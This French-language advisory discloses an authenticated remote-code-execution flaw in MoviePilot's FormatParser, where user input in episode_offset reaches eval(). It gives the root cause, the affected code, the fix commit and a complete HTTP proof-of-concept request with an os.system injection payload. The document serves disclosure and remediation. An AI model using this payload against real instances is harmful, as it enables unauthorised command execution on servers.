
Preuve de concept et analyse de la cause racine de CVE-2026-95149, une RCE authentifiée dans le FormatParser de MoviePilot via une injection eval() dans episode_offset, avec un PoC HTTP et les détails du correctif.
eval() dans episode_offset (MoviePilot FormatParser)| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-95149 |
| Produit | MoviePilot (jxxghp/MoviePilot) |
| Versions affectées | <= v3.0.0 |
| Corrigé dans | branche v3 — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Gravité | Élevée |
| Vecteur d'attaque | À distance, via l'API HTTP |
| Privilèges requis | Utilisateur de gestion authentifié (compte admin ou avec rôle de gestion) |
| Interaction utilisateur | Aucune |
| Signalé le | 2026-09-11 |
| Ticket public | jxxghp/MoviePilot#6644 |
FormatParser accepte une chaîne arbitraire et se contente de vérifier si elle contient "EP" — il ne valide jamais que
le reste de la chaîne est une expression arithmétique bien formée :
elif "EP" in offset:
self.__offset = offset
Plusieurs branches en aval construisent ensuite une expression Python par substitution textuelle et l'évaluent directement :
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
L'enveloppe int(...) ne contraint que la valeur de retour de l'expression ; elle n'empêche pas les effets de bord qui
se produisent pendant l'évaluation. Tout appel de fonction, import ou accès à un attribut intégré dans la charge utile
s'exécute donc avant que la valeur finale ne soit convertie en int.
Une tentative d'atténuation courante consiste à multiplier la charge utile par zéro pour que le résultat arithmétique reste numérique :
EP+__import__('os').system('touch /tmp/success')*0
Cela fonctionne toujours. L'effet de bord (le lancement de la commande) se produit pendant l'évaluation, bien avant que
l'addition finale ne soit convertie en int, si bien que l'attaquant obtient à la fois l'exécution de commande et une
valeur qui passe le contrôle de type int().
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
Sur une instance vulnérable, /tmp/success est créé par le processus du service MoviePilot. Si l'appel API ne renvoie pas
200, le cast int() lèvera une exception — mais la commande injectée s'est déjà exécutée, donc le résultat de la
requête n'a aucune importance pour l'exploitation.
app/application/formatting.py (lignes 102 et 184 dans la v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302